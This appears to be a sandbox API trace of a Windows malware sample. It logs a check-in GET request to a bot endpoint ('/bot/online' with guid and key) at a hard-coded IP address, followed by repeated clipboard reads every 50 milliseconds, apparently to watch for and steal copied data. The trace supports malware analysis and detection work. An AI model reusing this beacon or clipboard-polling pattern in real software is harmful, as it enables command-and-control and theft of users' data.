[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1d78 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cefd8 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfbd8 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cee48 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1860 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cef38 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f48b8 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1c78 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1cd8 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1ed8 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf320 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1ff8 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf410 | out: hHeap=0x6a0000) returned 1
[0248.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfd70 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf500 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1740 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf2d0 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f48f0 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d20f8 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1f18 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d21d8 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf550 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2238 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf348 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfd10 | out: hHeap=0x6a0000) returned 1
[0248.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf528 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf460 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4730 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1620 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf578 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f45a8 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d21b8 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d20d8 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1fd8 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf370 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2258 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf2f8 | out: hHeap=0x6a0000) returned 1
[0248.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfd28 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf4b0 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1320 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf438 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4c38 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2118 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2078 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2018 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf4d8 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1f98 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf488 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfc08 | out: hHeap=0x6a0000) returned 1
[0248.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf398 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1470 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf3c0 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4998 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d21f8 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2278 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2138 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfde0 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2298 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0128 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfd40 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0100 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1560 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfe30 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f49d0 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1ef8 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1f38 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2178 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cffc0 | out: hHeap=0x6a0000) returned 1
[0248.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d2038 | out: hHeap=0x6a0000) returned 1
[0248.813] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0248.814] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0248.814] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/online?guid=XC64ZB\\\\\x0f&key=bc2dceabe69fa26dbf4dd8295d65e03e1990633a88c1c8410825c9266b239396", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0248.814] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0248.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbb4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbb4*=0xd) returned 1
[0248.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbb4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbb4*=0x0) returned 1
[0248.879] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0248.879] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0248.882] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0248.882] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6eba60 | out: hHeap=0x6a0000) returned 1
[0248.882] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f9f58 | out: hHeap=0x6a0000) returned 1
[0248.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.884] GetClipboardData (uFormat=0x1) returned 0x0
[0248.884] CloseClipboard () returned 1
[0248.884] Sleep (dwMilliseconds=0x32)
[0248.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef50c48a, dwHighDateTime=0x1d96e12))
[0248.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.898] GetClipboardData (uFormat=0x1) returned 0x0
[0248.898] CloseClipboard () returned 1
[0248.898] Sleep (dwMilliseconds=0x32)
[0248.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef5326da, dwHighDateTime=0x1d96e12))
[0248.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.915] GetClipboardData (uFormat=0x1) returned 0x0
[0248.915] CloseClipboard () returned 1
[0248.915] Sleep (dwMilliseconds=0x32)
[0248.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef5588dc, dwHighDateTime=0x1d96e12))
[0248.931] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.931] GetClipboardData (uFormat=0x1) returned 0x0
[0248.931] CloseClipboard () returned 1
[0248.931] Sleep (dwMilliseconds=0x32)
[0248.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef57eb68, dwHighDateTime=0x1d96e12))
[0248.947] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.947] GetClipboardData (uFormat=0x1) returned 0x0
[0248.947] CloseClipboard () returned 1
[0248.947] Sleep (dwMilliseconds=0x32)
[0248.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef5a4dc5, dwHighDateTime=0x1d96e12))
[0248.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.961] GetClipboardData (uFormat=0x1) returned 0x0
[0248.961] CloseClipboard () returned 1
[0248.961] Sleep (dwMilliseconds=0x32)
[0248.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef5cb01c, dwHighDateTime=0x1d96e12))
[0248.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.976] GetClipboardData (uFormat=0x1) returned 0x0
[0248.976] CloseClipboard () returned 1
[0248.976] Sleep (dwMilliseconds=0x32)
[0248.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef5f126b, dwHighDateTime=0x1d96e12))
[0248.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.993] GetClipboardData (uFormat=0x1) returned 0x0
[0248.993] CloseClipboard () returned 1
[0248.993] Sleep (dwMilliseconds=0x32)
[0249.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef6174cf, dwHighDateTime=0x1d96e12))
[0249.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.007] GetClipboardData (uFormat=0x1) returned 0x0
[0249.008] CloseClipboard () returned 1
[0249.008] Sleep (dwMilliseconds=0x32)
[0249.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef63d725, dwHighDateTime=0x1d96e12))
[0249.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.024] GetClipboardData (uFormat=0x1) returned 0x0
[0249.024] CloseClipboard () returned 1
[0249.024] Sleep (dwMilliseconds=0x32)
[0249.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef66398f, dwHighDateTime=0x1d96e12))
[0249.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.040] GetClipboardData (uFormat=0x1) returned 0x0
[0249.040] CloseClipboard () returned 1
[0249.040] Sleep (dwMilliseconds=0x32)
[0249.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef689bd9, dwHighDateTime=0x1d96e12))
[0249.055] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.055] GetClipboardData (uFormat=0x1) returned 0x0
[0249.055] CloseClipboard () returned 1
[0249.055] Sleep (dwMilliseconds=0x32)
[0249.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef6afe2a, dwHighDateTime=0x1d96e12))
[0249.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.071] GetClipboardData (uFormat=0x1) returned 0x0
[0249.071] CloseClipboard () returned 1
[0249.071] Sleep (dwMilliseconds=0x32)
[0249.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef6d6096, dwHighDateTime=0x1d96e12))
[0249.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.086] GetClipboardData (uFormat=0x1) returned 0x0
[0249.086] CloseClipboard () returned 1
[0249.086] Sleep (dwMilliseconds=0x32)
[0249.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef6fc2e6, dwHighDateTime=0x1d96e12))
[0249.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.101] GetClipboardData (uFormat=0x1) returned 0x0
[0249.101] CloseClipboard () returned 1
[0249.101] Sleep (dwMilliseconds=0x32)
[0249.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef72253c, dwHighDateTime=0x1d96e12))
[0249.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.118] GetClipboardData (uFormat=0x1) returned 0x0
[0249.118] CloseClipboard () returned 1
[0249.118] Sleep (dwMilliseconds=0x32)
[0249.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef7487a1, dwHighDateTime=0x1d96e12))
[0249.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.132] GetClipboardData (uFormat=0x1) returned 0x0
[0249.133] CloseClipboard () returned 1
[0249.133] Sleep (dwMilliseconds=0x32)
[0249.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef76e9f3, dwHighDateTime=0x1d96e12))
[0249.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.148] GetClipboardData (uFormat=0x1) returned 0x0
[0249.148] CloseClipboard () returned 1
[0249.148] Sleep (dwMilliseconds=0x32)
[0249.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef794c4d, dwHighDateTime=0x1d96e12))
[0249.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.165] GetClipboardData (uFormat=0x1) returned 0x0
[0249.165] CloseClipboard () returned 1
[0249.165] Sleep (dwMilliseconds=0x32)
[0249.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef7bae99, dwHighDateTime=0x1d96e12))
[0249.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.179] GetClipboardData (uFormat=0x1) returned 0x0
[0249.179] CloseClipboard () returned 1
[0249.180] Sleep (dwMilliseconds=0x32)
[0249.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef7e10fe, dwHighDateTime=0x1d96e12))
[0249.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.196] GetClipboardData (uFormat=0x1) returned 0x0
[0249.196] CloseClipboard () returned 1
[0249.196] Sleep (dwMilliseconds=0x32)
[0249.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef807363, dwHighDateTime=0x1d96e12))
[0249.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.211] GetClipboardData (uFormat=0x1) returned 0x0
[0249.211] CloseClipboard () returned 1
[0249.211] Sleep (dwMilliseconds=0x32)
[0249.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef82d5b4, dwHighDateTime=0x1d96e12))
[0249.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.226] GetClipboardData (uFormat=0x1) returned 0x0
[0249.226] CloseClipboard () returned 1
[0249.226] Sleep (dwMilliseconds=0x32)
[0249.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef85380f, dwHighDateTime=0x1d96e12))
[0249.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.243] GetClipboardData (uFormat=0x1) returned 0x0
[0249.243] CloseClipboard () returned 1
[0249.243] Sleep (dwMilliseconds=0x32)
[0249.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef879a69, dwHighDateTime=0x1d96e12))
[0249.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.257] GetClipboardData (uFormat=0x1) returned 0x0
[0249.258] CloseClipboard () returned 1
[0249.258] Sleep (dwMilliseconds=0x32)
[0249.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef89fcc4, dwHighDateTime=0x1d96e12))
[0249.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.273] GetClipboardData (uFormat=0x1) returned 0x0
[0249.273] CloseClipboard () returned 1
[0249.274] Sleep (dwMilliseconds=0x32)
[0249.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef8c5f21, dwHighDateTime=0x1d96e12))
[0249.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.290] GetClipboardData (uFormat=0x1) returned 0x0
[0249.290] CloseClipboard () returned 1
[0249.290] Sleep (dwMilliseconds=0x32)
[0249.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef8ec178, dwHighDateTime=0x1d96e12))
[0249.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.304] GetClipboardData (uFormat=0x1) returned 0x0
[0249.304] CloseClipboard () returned 1
[0249.304] Sleep (dwMilliseconds=0x32)
[0249.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef9123d0, dwHighDateTime=0x1d96e12))
[0249.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.321] GetClipboardData (uFormat=0x1) returned 0x0
[0249.322] CloseClipboard () returned 1
[0249.322] Sleep (dwMilliseconds=0x32)
[0249.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef938636, dwHighDateTime=0x1d96e12))
[0249.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.336] GetClipboardData (uFormat=0x1) returned 0x0
[0249.336] CloseClipboard () returned 1
[0249.336] Sleep (dwMilliseconds=0x32)
[0249.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef95e892, dwHighDateTime=0x1d96e12))
[0249.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.351] GetClipboardData (uFormat=0x1) returned 0x0
[0249.351] CloseClipboard () returned 1
[0249.351] Sleep (dwMilliseconds=0x32)
[0249.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef984ae0, dwHighDateTime=0x1d96e12))
[0249.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.368] GetClipboardData (uFormat=0x1) returned 0x0
[0249.368] CloseClipboard () returned 1
[0249.368] Sleep (dwMilliseconds=0x32)
[0249.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef9aad37, dwHighDateTime=0x1d96e12))
[0249.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.383] GetClipboardData (uFormat=0x1) returned 0x0
[0249.383] CloseClipboard () returned 1
[0249.383] Sleep (dwMilliseconds=0x32)
[0249.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef9d0f96, dwHighDateTime=0x1d96e12))
[0249.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.398] GetClipboardData (uFormat=0x1) returned 0x0
[0249.398] CloseClipboard () returned 1
[0249.398] Sleep (dwMilliseconds=0x32)
[0249.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef9f71e8, dwHighDateTime=0x1d96e12))
[0249.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.415] GetClipboardData (uFormat=0x1) returned 0x0
[0249.415] CloseClipboard () returned 1
[0249.415] Sleep (dwMilliseconds=0x32)
[0249.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefa1d44f, dwHighDateTime=0x1d96e12))
[0249.436] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.436] GetClipboardData (uFormat=0x1) returned 0x0
[0249.436] CloseClipboard () returned 1
[0249.436] Sleep (dwMilliseconds=0x32)
[0249.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefa436b2, dwHighDateTime=0x1d96e12))
[0249.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.447] GetClipboardData (uFormat=0x1) returned 0x0
[0249.447] CloseClipboard () returned 1
[0249.447] Sleep (dwMilliseconds=0x32)
[0249.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefa69901, dwHighDateTime=0x1d96e12))
[0249.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.461] GetClipboardData (uFormat=0x1) returned 0x0
[0249.461] CloseClipboard () returned 1
[0249.461] Sleep (dwMilliseconds=0x32)
[0249.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefa8fb54, dwHighDateTime=0x1d96e12))
[0249.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.476] GetClipboardData (uFormat=0x1) returned 0x0
[0249.476] CloseClipboard () returned 1
[0249.476] Sleep (dwMilliseconds=0x32)
[0249.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefab5db4, dwHighDateTime=0x1d96e12))
[0249.494] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.494] GetClipboardData (uFormat=0x1) returned 0x0
[0249.494] CloseClipboard () returned 1
[0249.494] Sleep (dwMilliseconds=0x32)
[0249.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefadc008, dwHighDateTime=0x1d96e12))
[0249.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.508] GetClipboardData (uFormat=0x1) returned 0x0
[0249.508] CloseClipboard () returned 1
[0249.508] Sleep (dwMilliseconds=0x32)
[0249.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefb02266, dwHighDateTime=0x1d96e12))
[0249.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.523] GetClipboardData (uFormat=0x1) returned 0x0
[0249.523] CloseClipboard () returned 1
[0249.523] Sleep (dwMilliseconds=0x32)
[0249.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefb284bb, dwHighDateTime=0x1d96e12))
[0249.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.540] GetClipboardData (uFormat=0x1) returned 0x0
[0249.540] CloseClipboard () returned 1
[0249.540] Sleep (dwMilliseconds=0x32)
[0249.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefb4e71b, dwHighDateTime=0x1d96e12))
[0249.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.554] GetClipboardData (uFormat=0x1) returned 0x0
[0249.554] CloseClipboard () returned 1
[0249.554] Sleep (dwMilliseconds=0x32)
